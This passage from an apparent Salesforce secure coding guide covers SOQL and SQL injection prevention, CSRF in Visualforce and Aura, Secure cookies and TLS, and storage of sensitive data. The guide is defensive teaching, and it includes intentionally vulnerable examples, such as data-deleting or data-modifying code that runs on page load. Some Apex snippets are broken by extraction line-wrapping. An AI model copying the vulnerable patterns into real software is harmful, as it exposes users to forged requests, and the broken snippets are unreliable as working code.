    String myQuery = 'SELECT Name, Address FROM ' + objName + ' WHERE
Name LIKE \'%Sir%\'';

    if (!isSafeObject(objName)) {
        return null;
    } else {
        if

```

```

(!Schema.getGlobalDescribe().get(objName).fields.getMap().get('Name').isAccessible()
||
!Schema.getGlobalDescribe().get(objName).fields.getMap().get('Address').isAccessible())
{
    return null;
}
List<SObject> records = Database.query(myQuery); // Added
List<SObject> type for records
return null; // You should return something meaningful here
}
}

```

Ensure that the object name provided by the user is valid and that the user has the necessary access permissions. Check for any invalid characters that could be used for SOQL injection and confirm that the user has access to the object. This not only protects against SOQL injection but also serves as a CRUD check.

As previously mentioned, SOQL injection can be seen as another form of CRUD/FLS bypass. However, there's one final customization scenario for your SOQL queries to consider. If you know the object and the filtering criteria, but you don't know if you must access the field, then it's similar scenario as this code:

```

public boolean isSafeField(String fieldName, String objName) {
    Map<String, Schema.SObjectType> schemaMap =
    Schema.getGlobalDescribe(); // Moved inside the method
    Schema.SObjectType myObj = schemaMap.get(objName);

    if (myObj != null && myObj.getDescribe().isAccessible()) {
        Schema.SObjectField myField =
        myObj.getDescribe().fields.getMap().get(fieldName); // Changed fldName
        to fieldName

        if (myField != null && myField.getDescribe().isAccessible())
        {
            return true;
        }
    }

    return false; // Moved outside the if statements for clearer logic
}

```

And then again, for the query:

```

public PageReference doQuery() {
    String objName = 'myObj__c';
    String myQuery = 'SELECT ' + field1 + ', ' + field2 + ' FROM ' +
    objName + ' WHERE Name LIKE \'%Sir%\'';

    if (!(isSafeField(field1, objName) && isSafeField(field2,
    objName))) {
        return null;
    } else {
        List<SObject> records = Database.query(myQuery);

        // Process records as needed (e.g., set to a property or

```

```
perform logic)
    }

    return null; // Update to return a meaningful PageReference as
needed
}
```

Again, in this example, we haven't only prevented SOQL injection but also have carried out our CRUD and FLS checks for the object and the associated fields.

Use the methods that we've discussed so far in situations. If you're considering alternative methods to prevent SOQL injection, you're likely to approach the problem correctly, increasing your chances of success with these methods. However, for other languages and frameworks if you don't have the APIs that Salesforce provides, we'll briefly cover other sanitization methods.

Alternate Methods to Secure SOQL Queries

Method	description
Escape Single Quotes	<p>If you have a dynamic query with a variable in a String, such as:</p> <pre>String query = 'select Name, Title from myObject__c where Name like \''+name+'\"';</pre> <p>Here the name variable is being concatenated inside two single quotes in the query. One way to stop injection is to avoid single quotes. It's best to use a library made for the language you're using. If Apex, implement the following <code>String.escapeSingleQuotes()</code> function call. The result is:</p> <pre>String query = 'select Name, Title from myObject__c where Name like \''+String.escapeSingleQuotes(name)+'\"';</pre> <p>This safeguards your data from query tampering. However, it doesn't prevent users from accessing unauthorized data.</p> <p>It only applies when a variable is within single quotes. If you have a boolean or otherwise unquoted field with user input, escaping single quotes won't help protect against injection. Thus, it isn't recommended to use this method.</p>
Typecasting / Whitelisting	<p>Consider using typecasting and/or whitelisting variables as another method. Typecasting involves converting user input to expected types like</p>

Method	description
	<p>boolean or integer. If there's an issue converting data types, it means the data is wrong. You can then safely stop the process.</p> <p>Whitelisting is similar, if you have an input that you know the structure of. For example, you can select fields from an object by verifying user input against a predefined list of field names.</p> <p>Typecasting example:</p> <pre data-bbox="979 573 1446 709">String query = 'SELECT Name, Address FROM Object__c WHERE isActive = ' + (input ? 'TRUE' : 'FALSE');</pre> <p>Whitelisting example:</p> <pre data-bbox="979 779 1446 1178">Set<String> fields = new Set<String>(); fields.add('myField1'); fields.add('myField2'); fields.add('myField3'); if (!fields.contains(inputField)) { throw new CustomException('Invalid field: ' + inputField); // Customize error handling as needed }</pre>

These methods are good for preventing injection attacks, but don't guarantee that the user will have access to the objects returned. Hence we also don't recommend using these methods except in edge cases.

How to Ensure SOQL Query Security with Third-Party Libraries and APIs

There are a number of third-party libraries that can help you write SOQL queries. In general, refactor these libraries before you try to use them. Verifying injection fixes is easiest and safest when you validate fields in the same location that you run your database queries.

Most libraries will expose a SOQL layer that's easy to use, but doesn't provide any validation. If you want to use these libraries, you must modify them so that the framework level is secure. You can now use the library without having to worry about sanitizing every database call in your code.

The REST and SOAP APIs allow end users to submit arbitrary SOQL strings. However, because the APIs include built-in checks for sharing and CRUD/FLS permissions, it won't result to SOQL injection. This means that end users are only allowed to see or modify records and fields that they already have access

to. Alternatively, when making SOQL calls in Apex Code, no CRUD/FLS checks are performed (and sharing checks are only performed if the 'with sharing' keyword is used). Allowing end users to control the contents of a SOQL query issued in Apex code is a serious security vulnerability, but it's not a vulnerability when end users control the contents of a SOQL query via the API.

How Do I Protect My Non-Salesforce Application?

Using platform-specific solutions for typed, parameterized queries is the best way to prevent SQL injection. Filtering and sanitizing user input before queries is essential, especially if your platform lacks native support for parameterized queries.

Allowing only "known good" characters (such as with a regular expression, where that's sufficient) is the best defense strategy. For example, a phone number could be validated to only include numerals and a name to include only letters and spaces. Attempting to filter out "known bad" characters or strings (also known as "blacklisting") can be prone to error. Attackers can use alternate encodings, double-up quotes, or other tricks to foil such filters. Remove single-quote, double-quote, hyphen, NULL, and newline characters.

For more information on SQL injection attacks and defense see:

- https://owasp.org/www-community/attacks/SQL_Injection
- http://www.owasp.org/index.php/Blind_SQL_Injection
- <http://technet.microsoft.com/en-us/library/ee391960.aspx>

Best Practices for Preventing SQL Injection Across Various Technologies

Technology	Best Practices	References
ASP.NET	<ul style="list-style-type: none"> • Sanitize input data before querying. • Use type-safe SQL parameters consistently, whether with stored procedures or dynamic SQL. • Use <i>SqlParameterCollection</i> for type checking and length validation. 	How To: Protect From SQL Injection in ASP.NET
LINQ	<ul style="list-style-type: none"> • Use Language-Integrated Query (LINQ) to prevent SQL injection attacks in ASP.NET applications. • LINQ technology enables database constructs to be treated as native objects in 	LINQ to SQL: .NET Language-Integrated Query for Relational Data

Technology	Best Practices	References
	<p>.NET programming languages.</p> <ul style="list-style-type: none"> • LINQ to SQL abstracts interactions with the database into an object model that avoids SQL injection by automatically building parameterized queries. 	
Java	<ul style="list-style-type: none"> • Use commercial source code analysis tools (for example, Checkmarx, Coverity, Fortify, Klocwork, Ounce Labs) for large applications and codebases. • For smaller applications, manual review and enforcement of coding standards are sufficient. • Review all JDBC code; using <code>java.sql.Statement</code> for queries handling user data poses a risk. • Use <code>java.sql.CallableStatement</code> and <code>java.sql.PreparedStatement</code> exclusively for user data. Example: <pre data-bbox="850 1350 1117 1730"> java
PreparedStatement pstmt = con.prepareStatement("UPDATE USERS SET SALARY = ? WHERE ID = ?"); pstmt.setBigDecimal(1, new BigDecimal("30000.00")); pstmt.setInt(2, 20487); pstmt.executeUpdate(); </pre> • -Use Hibernate and other ORM frameworks to help prevent SQL injection with prepared statements. 	<p>OWASP SQL Injection Prevention Cheat Sheet</p> <p>OWASP Hibernate Security Guidance</p>

Technology	Best Practices	References
	<ul style="list-style-type: none"> - Be cautious when using query languages like HQL directly. Avoid deprecated methods like <code>session.find</code> and use overloads that support bind variables instead. - Always validate and sanitize inputs even when using ORMs. 	
PHP (PDO)	<ul style="list-style-type: none"> • Use the PHP Data Objects (PDO) extension for parameterized queries and prepared statements. Note that • <code>PDO::prepare</code> provides good SQL injection defenses, but this only guarantees protection if the underlying PDO driver and database support parameterized queries natively. • Always sanitize data before passing it to <code>PDO::prepare</code> as a defense-in-depth measure. • Use regular expressions to limit input values to expected formats. 	PHP Security guidance for Prepared Statements and Stored Procedures
Ruby on Rails	<ul style="list-style-type: none"> • Active Record objects provide limited automatic protection from SQL injection. • When using <code>Model.find(id)</code> or <code>Model.find_by_X(X)</code>, an escaping routine is applied automatically to eliminate ', ", the NULL character and line breaks. • For SQL fragments, such as conditions fragments <code>:conditions =></code> 	OWASP Ruby on Rails Cheat Sheet

Technology	Best Practices	References
	<p>"..."), <code>connection.execute</code> or <code>Model.find_by_sql</code>, sanitization must be applied manually.</p> <ul style="list-style-type: none"> Use conditions as an array or hash form for sanitization. Example: <pre> ruby> Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) </pre> <p>Note that in other cases, you can call <code>sanitize_sql_array</code> or <code>sanitize_sql_for_conditions</code> manually (for Rails 2.0) or use the deprecated <code>sanitize_sql</code> for earlier versions.</p>	

How Can I Test My Application?

Some testing for SQL injection can be performed in a black-box manner. Putting characters like single quotes and dashes into form fields and looking for database error messages will find the most obvious SQL injection flaws. Unfortunately, these techniques can't find all SQL injection flaws. Client-side validation, escaping or double-quoting blocks are simple attacks but can be bypassed easily by an attacker.

The most reliable way to identify SQL injection flaws is through manual code review or with a static code analysis tool. Code analysis tools (commercial and free) are listed for individual development platforms in the following section. *Developers on the Lightning Platform can use the first on-demand source code analysis tool build solely for Platform as a Service.* Visit the [Security Source Code Scanner](#) page for more details.

If performing manual source code review, verify that all queries that include user data are built using bind variables instead of string concatenation. A bind variable is a placeholder in a query that allows the database engine to insert dynamic values in a type-safe manner. The exact syntax varies somewhat from platform to platform, but typically these placeholders are question marks or a colon-prefixed variable name. For example, the following construct is safe from SQL injection:

```

PreparedStatement query = con.prepareStatement("SELECT * FROM users
WHERE userid = ? AND password = ?");
query.setInt(1, Request.form("user").intValue());
query.setString(2, getSaltedHash(Request.form("password")));
query.executeQuery();

```

Stored procedures that only use static SQL text are also acceptable, but beware of stored procedures that use `exec` or similar constructs to build dynamic SQL internally.

CHAPTER 6 Secure Coding Cross Site Request Forgery

In this chapter ...

- [Protect Your Application from CSRF Vulnerabilities](#)

Learn how to protect your AppExchange solutions from Cross-Site Request Forgery (CSRF), a security threat where a malicious website manipulates a user's browser to perform unauthorized actions without their knowledge. You can implement Salesforce-specific defense strategies across Aura, Lightning Web Components (LWC), Visualforce, and Flows.

Understand Cross Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a security vulnerability where an attacker tricks a logged-in user into performing unintended actions in a web application. In Salesforce, an attacker can abuse an authenticated user's session to modify records, change settings, or trigger business logic without the user's consent.

Here are a few threats that CSRF poses.

- Any exposed Visualforce pages, Lightning components, or custom Apex endpoints in your package can be misused if unprotected.
- CSRF attacks can cause unauthorized changes in Salesforce, harming data integrity and user trust.

For additional guidance and best practices, refer:

- [Cross Site Request Forgery \(CSRF\)](#)
- [The Cross-Site Request Forgery \(CSRF/XSRF\) FAQ](#)
- [Cross-Site Request Forgeries](#)

Protect Your Application from CSRF Vulnerabilities

Secure your applications against CSRF vulnerabilities. While Salesforce automatically protects components built with Apex and Visualforce, verify that protections are enabled when using other development frameworks.

CSRF Considerations and Limitations

Salesforce automatically protects most form-based requests from CSRF. Standard controllers and methods secure actions such as `insert`, `update`, `delete`, and `upsert` when triggered by user interactions. These interactions include clicking a button or submitting a form.

However, CSRF protection doesn't apply to state-changing logic that runs automatically during page load. Examples include:

- DML operations that execute even before the page fully renders.
- Methods called from the `action` attribute in Visualforce pages.
- Component initialization code performing DML in Aura, LWC, or Visualforce.

Secure Visualforce Pages

Apex methods called in the `action` attribute on `<apex:page>` or in a controller's constructor run on page load and bypass CSRF protection. To secure your data, use user-triggered DML instead of auto-triggered initialization.

- Avoid DML during page load: Trigger DML operations only in response to explicit user actions.
- Avoid automatic method calls: Don't call `apex:actionFunction` methods via JavaScript events such as `onload`.

 **Note:** If a Visualforce page load requires DML, select **Require CSRF protection on GET requests**. To know more, see [Create Visualforce Pages](#).

Review the following example of auto-triggered DML. Since the `init` method runs during page load, it bypasses platform CSRF protections.

```
<apex:page controller="myClass" action="{!init}"/>
public class myClass {
    public void init() {
        Id id = ApexPages.currentPage().getParameters().get('id');
        Account acc = [SELECT Id FROM Account WHERE Id = :id];
        delete acc;
    }
}
```

To secure the page against CSRF attacks, require explicit user interaction to trigger state-changing logic. In this example, the `deleteAccount` method runs only when the user clicks **Delete**.

```
<apex:page controller="mySafeClass">
    <apex:form>
        <apex:inputText value="{!accountId}" />
        <apex:commandButton action="{!deleteAccount}" value="Delete" />
    </apex:form>
</apex:page>

public class mySafeClass {
    public String accountId { get; set; }
    public void deleteAccount() {
```

```

    Account acc = [SELECT Id FROM Account WHERE Id = :accountId];
    delete acc;
}
}

```

Secure Aura and LWC

Don't perform DML or state-changing operations during component load. When you use `init`, `connectedCallback`, `renderedCallback`, or a constructor, perform only read-only operations to fetch data. State-changing actions require explicit user interaction.

Review this example of auto-triggered DML in an Aura component. Because the `doInit` initialization handler modifies server data on component load, it bypasses platform CSRF protections.

```

({
  doInit: function(cmp) {
    var action = cmp.get("c.updateField"); // Modifies server data on load
    action.setParams({
      recordId: cmp.get("v.recordId"),
      newValue: cmp.get("v.newValue")
    });
    $A.enqueueAction(action); // Runs without user action - CSRF-prone
  }
})

```

To secure the component against CSRF attacks, perform only read-only operations during initialization and require explicit user interaction to modify data.

```

({
  doInit: function(cmp) {
    var action = cmp.get("c.getSomething"); // Safe: read-only fetch
    action.setCallback(this, function(response) {
      if (response.getState() === "SUCCESS") {
        // Safe display logic
      }
    });
    $A.enqueueAction(action);
  },

  handleClick: function(cmp, event) {
    var action = cmp.get("c.updateField"); // Safe: user-triggered
    action.setParams({
      recordId: cmp.get("v.recordId"),
      newValue: cmp.get("v.newValue")
    });
    action.setCallback(this, function(response) {
      if (response.getState() === "SUCCESS") {
        // Show success / update UI
      }
    });
    $A.enqueueAction(action);
  }
})

```

Secure Third-Party API Integrations

When you integrate a Lightning app with a third-party application via API, you can design custom anti-CSRF tokens. Add these to an XMLHttpRequest using `setRequestHeader()`. Here's an example.

```
var o = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function() {
    var res = o.apply(this, arguments);
    var err = new Error();
    this.setRequestHeader('anti-csrf-token', csrf_token);
    return res;
};
```

CHAPTER 7 Secure Coding Secure Communications

Learn how to ensure application security outside Salesforce. Mandate HTTPS and setting the Secure flag for cookies that store sensitive data.

Secure Communications and Cookies - What is required?

Applications hosted outside Salesforce or which send or receive important information from other sites must use HTTPS. Any cookies set by your application for authentication, authorization, or which contain private or personally identifiable information must set the *Secure* flag to ensure they're only sent over HTTPS.

When the server sets cookies without the *Secure* attribute, the browser will send the cookie back to the server over either HTTP or HTTPS connections.

For applications that are available over both HTTP and HTTPS, users that enroll or sign-in through Salesforce.com must be directed and restricted to use of the secure site only.

On your web server, disable weak cipher suites and vulnerable versions of SSL/TLS. Salesforce requires exclusive use of TLS 1.2 or greater. Disable all null, export, 40-bit, or DES cipher suites.

Sample Vulnerability

Failure to set the Secure flag for security-critical cookies is the most common vulnerability in this category. Simply setting a cookie over an HTTPS connection doesn't prevent it from being returned over HTTP unless the *Secure* flag is set. *Even if your site doesn't have an HTTP version*, malicious parties on the network will be able to steal session cookies.

For example, the attacker can insert references to HTTP URLs to your application into sites that your users are likely to visit. Assume your application is `https://app.example.com`, and your users frequent a discussion forum or blog at `http://exampleappblog.com`. ExampleAppBlog allows commenters to include limited HTML in their posts, including `img` tags. A commenter inserts HTML into one of their comments like the following:

```

```

When a user authenticated to `app.example.com` views this comment, their browser will fire off a request for `example-logo.png` over an insecure HTTP connection. Since the `app.example.com` cookie wasn't set Secure, the browser will include the cookie over this connection — exposing it to the network.)

When logging into your website's CMS over an insecure public Wi-Fi network at a coffee shop, an attacker on the same network could perform a Man-in-the-Middle (MiTM) attack. Logging into your site over HTTP without the Secure flag enabled allows attackers to steal your cookie. Even with HTTPS, attackers can sometimes downgrade your connection to HTTP using SSL stripping.

Is My Application Vulnerable?

After logging in, change the “https” in the URL bar of the browser to “http”. If you’re still logged in, your application is vulnerable.

Follow the simple test procedures for all applications to determine if they follow the guidelines.

How Can I Test My Application?

To test your application's cookie status, you can use the [Cookie Inspector](#) or [Cookie Manager](#) add-ons for Firefox. These extensions allow you to view, edit, and manage cookies. You can install the Cookie Inspector or the Cookie Manager to see detailed information on cookies, including the secure flag settings. You'll see a list of all the cookies sent to the page, and the last column will identify if the *Secure* flag was set with the cookie.

The screenshot shows the Firefox Page Info dialog box with the Cookies tab selected. The 'Cookies on this page' section displays a table of cookies. The 'Secure' column is circled in red, indicating the status of the secure flag for each cookie.

Name	Value	Domain	Path	Expires	Secure
s_sess	%20c16...	.salesforce.com	/	Session	No
s_pers	%20v30...	.salesforce.com	/	Wednesday, Decem...	No
IS3_History	1261091...	.salesforce.com	/	Wednesday, March ...	No
IS3_GSV	DPL-2_T...	.salesforce.com	/	Session	No
appxud	{"sal":"","...	.salesforce.com	/	Wednesday, March ...	No
numReqs	0	na7.salesforce.com	/	Session	Yes
oid	00DA000...	na7.salesforce.com	/	Session	Yes
clientSrc	67.170.3...	na7.salesforce.com	/	Session	Yes
sid_Client	0000000...	na7.salesforce.com	/	Session	Yes
sid	00DA000...	na7.salesforce.com	/	Session	Yes

Below the table, the 'Cookie details' section is visible, showing fields for Name, Value, Domain/Path, and Expires. At the bottom, there are buttons for 'Remove cookie' and 'Remove all cookies in this list'.

Session cookies that authenticate a user to the application must always be marked *Secure*.

Examine the contents of any cookies not identified as secure. Do they contain information, which is sensitive, personally identifiable (such as an email address), or which influences the behavior of the application? For any such cookies the server must set the *Secure* flag.

You can easily test web server configuration for HTTPS using the online tool provided by SSL Labs at <https://www.ssllabs.com/ssldb/>. Simply type in the URL for your server to get a detailed report.

If your assessment shows severe errors in the SSL Labs assessment, they must be corrected before your site can be integrated with AppExchange.

SSL Labs publish a list on their SSL server test page of the 10 most recent worst-rated sites. If your site scores poorly, it shows up on that list for a while. If your site scores well, it can appear on the list of recent best-rated sites.

An alternative SSL testing tool is [SSLScan on GitHub](#).

How Do I Protect My Apex and Visualforce Applications?

Avoid loading any resources over http, instead load all resources over https, which includes images. All scripts must be loaded from static resources, which apply applies to sites, communities, as well as Lightning Components or Visualforce pages.

The general guidance is to try to use HTTPS exclusively for your web application. It's difficult to properly secure sites that use HTTP for some features or pages. If HTTP is necessary, make the HTTP-accessible features unauthenticated or create a different session identifier for that portion of the site that isn't tied to the secure session identifier. If your site or application has secure and insecure modes, Salesforce.com users must be automatically opted-in to use the secure version exclusively.

Developers are often concerned about the performance impact of using HTTPS, and try to limit their use of it on performance grounds. However, a review of an application's performance will only rarely show HTTPS as the cause of significant performance problems. Many or even most web applications are far from optimally efficient, even over HTTP. For performance guidance, see:

- [Gmail's experience in optimization](#)
- [The Yahoo performance best practices](#)

Keep session cookie expiration times low (10–20 minutes). Don't store secret information like a user's password in cookies and don't store information about user privilege levels (for example, `admin=true`) as it can be considered as tampering.

Applications must avoid URL rewriting for session management and prevent session fixation attacks by issuing a new session identifier cookie upon successful login. See:

- http://en.wikipedia.org/wiki/Session_fixation

For additional information on secure session management, see:

- http://www.owasp.org/index.php/Broken_Authentication_and_Session_Management

The following list provides the guidelines to securely build applications

- Applications built with ASP.NET can secure their cookies using the application `web.config` or do so programmatically.

To configure secure cookies, use the `requireSSL` property of the `httpCookies` element of the `system.web` element, for example :

```
<httpCookies domain="www.example.com" requireSSL="true" />
```

If setting cookies programmatically, use the `HttpCookie.Secure` property. See: <http://msdn.microsoft.com/en-us/library/system.web.httpcookie.secure.aspx>.

For information on configuring SSL for your web server or website, see IIS 7.0: <http://learn.iis.net/page.aspx/144/how-to-setup-ssl-on-iis-70/>.

- When creating cookies programmatically in Java, the `javax.servlet.http.Cookie` API allows servlets and JSP pages to set the `Secure` flag for application-specific cookies using the call `setSecure(true)`. Unfortunately, there's no standardized way to communicate to the container that cookies such as `JSESSIONID` or `JSESSIONIDSSO` is set securely. Most containers will automatically set the secure flag when a session is created over an HTTPS link. But, you can verify this using the test procedures listed in the previous section.

To enable SSL in J2EE applications, use the `web.xml` configuration file. For each `<web-app>` entry, ensure that a `<security-constraint>` element exists with a `<user-data-constraint>`. In the `<user-data-constraint>`, set the following:

```
<transport-guarantee>CONFIDENTIAL</transport-guarantee>
```

This signals to the container that user data must be kept confidential and implies the use of HTTPS for this application. Some additional configuration is required to support SSL — see the documentation specific to your web container.

- Apache Tomcat 5.5: <http://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html>
- Apache Tomcat 6.0: <http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html>

The GlassFish application server supports configuration in versions 2.1 and 3.0, using the following syntax in `sun-web.xml`

```
<?xml version="1.0" encoding="UTF-8"?>
<sun-web-app>
  <session-config>
    <cookie-properties>
      <property name="cookieSecure" value="[true|false|dynamic]"/>
    </cookie-properties>
  </session-config>
</sun-web-app>
```

The upcoming version of the Servlet Specification (Servlet 3.0) will provide additional support for programmatic configuration of session cookie security using the new `javax.servlet.SessionCookieConfig` class.

- For PHP, always set the boolean parameter `secure` to `true` when calling `setcookie`. This value is set to `false` by default.

Use `session_regenerate_id` when logging in users to prevent session fixation attacks.

For more guidance on PHP security, see:

- <http://phpsec.org/projects/guide/4.html>

- For Ruby on Rails, always set the boolean parameter `secure` to `true` when creating a `CGI::Cookie` object. This value is set to `false` by default.

Use `reset_session` when logging in users to prevent session fixation attacks.

For more guidance on Ruby on Rails security, see <https://guides.rubyonrails.org/security.html>.

Configuring Web and Application Servers for Strong SSL Cipher Suites

Here's how you can secure your web and application servers by configuring robust SSL cipher suites:

- For IIS on Windows Server 2003 or older, SSL and TLS settings are managed in the Windows Registry. For instructions on modifying the configuration under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL`, see the following article from Microsoft Support: <http://support.microsoft.com/kb/245030>.
On Windows Server 2008 and Windows Server 2008 R2, SSL cipher suites are configured via Group Policy. Start `gpedit.msc` and go to **Administrative Templates > Network > SSL Configuration Settings**. Scroll to the bottom of the Help section for the property and follow the instructions on "How to modify this setting". See [http://msdn.microsoft.com/en-us/library/bb870930\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/bb870930(VS.85).aspx) for additional information.
- For Apache, use the `SSLCipherSuite` directive with `mod_ssl` to configure available cipher suites. Use only `HIGH` ciphers and disable `SSLv2`. For complete configuration information, see http://httpd.apache.org/docs/2.0/mod/mod_ssl.html#sslcipher suite.

CHAPTER 8 Storing Sensitive Data

Understand sensitive data and learn how to employ robust encryption, access controls, and secure storage solutions to protect it.

Sensitive Data - What is it?

Sensitive data can include:

- Passwords
- Passphrases
- Encryption keys
- OAuth tokens
- Purchase instruments, such as credit card numbers
- Personal contact information such as names, phone numbers, email addresses, account usernames, physical addresses, and more
- Demographic information such as income, gender, age, ethnicity, education
- In some states and countries: machine identifying information such as MAC address, serial numbers, IP addresses, and more

Sensitive data is also called *personally identifying information* (PII) or *high business impact* (HBI) data. What's considered sensitive data varies greatly from state to state and country to country. Various compliance standards, such as the Payment Card Industry (PCI) compliance standard, require special steps to be taken when collecting sensitive data in order to stay in compliance.

Hardcoded Secrets

Storing sensitive information in your application's source code isn't advisable since anyone with access to the code can view the secrets in clear text.

Debug Logs

Don't use any sensitive data (usernames, passwords, names, contact information, opportunity information, PII, and so on) in Apex debug logs. The debug logs include standard Salesforce logs using `system.debug()` methods or custom debug logs created by the application. Avoid sending sensitive information to a third party by emails or other means as part of reporting possible errors.

Sensitive Info in URL

Don't send long-term secrets like usernames, passwords, API tokens, and long-lasting access tokens through GET parameters in a query string. It's fine to send short-lived tokens like CSRF tokens in the URL. Don't send a Salesforce session ID or any PII data over a URL to external applications.

Salesforce Integrations

For external applications, ensure no user credentials (usernames, passwords, or session IDs) are used in external databases. To integrate an external application with Salesforce user accounts, use the OAuth flow. For more information about implementing OAuth, see [Authorize Apps with OAuth](#).

Sample Vulnerability

If your application copies and stores sensitive data that originated at salesforce.com, take extra precaution. Salesforce.com treats data threats seriously, and a breach could impact your relationship with them if you're a partner.

Storing passwords in plaintext or weakly hashed formats (like MD5) exposes your application to widespread user exploitation if attackers gain database access (for example, through backup theft or SQL injection). If attackers retrieve passwords through SQL injection or data exposure, they can compromise user accounts on a large scale.

Is My Application Vulnerable?

If your application stores the salesforce.com user password, your application is vulnerable.

Collecting additional sensitive data renders your application non-compliant with industry standards, potentially leading to significant privacy breaches and legal repercussions.

How Can I Test My Application?

Review the scheme used to store sensitive data and identify information collected in use cases and workflows.

As PII/HBI data varies from state to state and country to county, it's best to seek expert legal counsel to review sensitive data collected and stored.

How Do I Protect My Application?

Consider an application that must authenticate users. We have to store some form of the user's password in order to authenticate them, that is, in order to see if the user presented the correct password. We avoid storing passwords in plaintext to prevent attackers from easily hijacking user accounts if they gain access to the database through SQL injection or stealing backups. Therefore, we want to obfuscate the passwords in such a way that we can still authenticate users.

We could encrypt the passwords, but that requires an encryption key — and where's that stored? In the database or another accessible location, which brings us back to the original issue: An attacker can recover the plaintext of the passwords by stealing the ciphertexts and the decryption key, and decrypting all the ciphertexts.

(Most or all database-level encryption schemes fall prey to the "But where is the key?" problem. Full-disk encryption, as opposed to encrypting database rows or columns with a key known by the database client, is a separate and arguably more tractable problem.)

Therefore, developers have historically used a cryptographic hash function, a one-way function that is (supposedly) computationally infeasible to reverse. They then store the hash output:

```
hash = md5      # or SHA1, or Tiger, or SHA512, etc.
storedPasswordHash = hash(password)
```

To authenticate users, the application hashes the provided password and compares it to the stored password:

```
authenticated? = hash(password) == storedPasswordHash
```

The plaintext password is never stored.

However, there's a problem with this scheme: the attacker can easily pre-compute the hashes of a large password dictionary. Then the attacker matches their hashes to the ones in their stolen database. For all matches, the attacker has effectively reversed the hash. This technique works as well as the password dictionary is good, and there are some good password dictionaries out there.

To address this problem, developers have historically "salted" the hash:

```
salt = generateRandomBytes(2)
storedPasswordHash = salt + hash(salt + password)
```

The goal is to make attackers have to compute a larger dictionary of hashes: they now have to compute 2^{saltSize} (for example, 2^{16} for a 2-byte salt) hashes for each item in their password dictionary.

However, a salted password hash only makes it more expensive to pre-compute the attack against a large password database. It doesn't protect from attempts to brute-force individual passwords when the hash and salt are known. The main issue is the computing cost; a single round of MD5 or SHA-1 no longer sufficiently slows down attackers. Fast, cheap and highly parallel computation on specialized hardware or commodity compute clusters makes brute force search with a dictionary affordable and accessible, even to adversaries with few resources.

Therefore, we need a solution that significantly slows down the attacker but doesn't slow down our application by too much. The idea is that we tune the hashing function to be pessimal; Provos and Mazières use a modified form of the Blowfish cipher to pessimize its already-slow setup time. Using bcrypt is a fine solution, but it's also easy to build a tunably slow hash function using the standard library of most programming languages.

The benefit of this approach is that it slows down the attacker greatly, but for the application to verify a single password candidate still takes essentially no time. (Additionally, since login actions are such a small fraction of all application traffic, it's OK if verification took an entire 0.5 seconds or more.)

How do I protect my application?

In Apex and Visualforce applications, safeguarding sensitive data depends on storage, updates, and access permissions.

Protected Custom Metadata Types

Within a namespaced managed package, protected custom metadata types are suitable for storing authentication data and other secrets. Custom metadata types in an organization can be updated using the Metadata API by the creator of the type. They can also be read (but not updated) at runtime using SOQL within an Apex class in the same namespace. Secrets, which are common across all users of the package (such as an API key) must be stored in Managed Protected Custom Metadata Types. Secrets are never hardcoded in the package code or displayed to the user.

For more information, see [Custom Metadata Types](#).

Protected Custom Settings

Custom settings enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. Setting the Custom Setting Definition visibility to "Protected" and including it in a managed package restricts access to be programmatically via Apex code within your package, which is useful for secrets initialized by the admin user or generated at install time.

Unlike custom metadata types, custom settings can be updated at runtime in your Apex class, but can't be updated through the Metadata API.

Create a Visualforce page for authorized users to input sensitive information without rendering it back on the page. Use the "transient" keyword to declare instance variables within Visualforce controllers to ensure they aren't transmitted as part of the view state. See [transient keyword](#).

Finally, configure the security settings for this page to ensure it's only accessible by limited profiles on an as needed basis.

For more information, see [custom settings methods](#).

Apex Crypto Functions

The Apex Crypto class provides algorithms for creating digests, MACs, signatures, and AES encryption. When using the crypto functions to implement AES encryption, keys must be generated randomly and stored securely in a protected custom setting or a protected custom metadata type. Never hardcode the key in an Apex class.

For more information and examples for implementing the Crypto class, see [Crypto Class](#).

Encrypted Custom Fields

Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted with 128-bit keys and use the AES algorithm. The value of an encrypted field is only visible to users that have the "View Encrypted Data" permission. We don't recommend storing authentication data in encrypted custom fields, but they're suitable for storing other types of sensitive data (for example, credit card information or social security numbers).

Named Credentials

Named Credentials are a safe and secure way of storing authentication data for external services called from your Apex code such as authentication tokens. We don't recommend storing other types of sensitive data in this field (such as credit card information). Users with customized application permissions can view named credentials. If your security policy requires hiding secrets from subscribers, use a protected custom metadata type or setting. For more information, see [named credentials](#) in Salesforce Help.

General Guidance

When storing sensitive information on a machine:

- All authentication secrets must be encrypted when stored on disk, including passwords, API Tokens, and OAuth Tokens.
- Store secrets in vendor-provided key stores (macOS/iOS keychain, Android keystore, Windows DP-API registry) for security compliance.

- For services running on servers that must boot without user interaction, store secrets in a database encrypted with a key not available to the database process. The application layer provides the key as needed to the database at runtime or decrypts/encrypts as needed in its own process space.
- Don't store any cryptographic keys used for protecting secrets in your application code
- Be cautious of the algorithms and ciphers used in any cryptographic operations
- Salt hashes, and if possible store salts and hashes separately
- Use strong platform cryptographic solutions
- Check if frameworks/platforms have already addressed the problem
- Use SSL/TLS to transmit sensitive data

The following list provides you with the guidelines to protect your application:

- ASP.NET provides access to the Windows CryptoAPIs and Data Protection API (DPAPI). Use the storage of sensitive information like passwords and encryption keys if the *DataProtectionPermission* has been granted to the code. Generally, the machine key is used to encrypt and decrypt sensitive data at the risk that if the machine is compromised malicious code could potentially decrypt any stored secrets. More information on this topic can be found here:
 - [Building Secure .NET Applications: Storing Secrets](#)
 - [.NET Framework 4 Cryptographic Services](#)

The best solution for ASP.NET is to use a hardware device like a cryptographic smartcard or Hardware Security Module (HSM) with the underlying Crypto API and a vendor-supplied CSP.

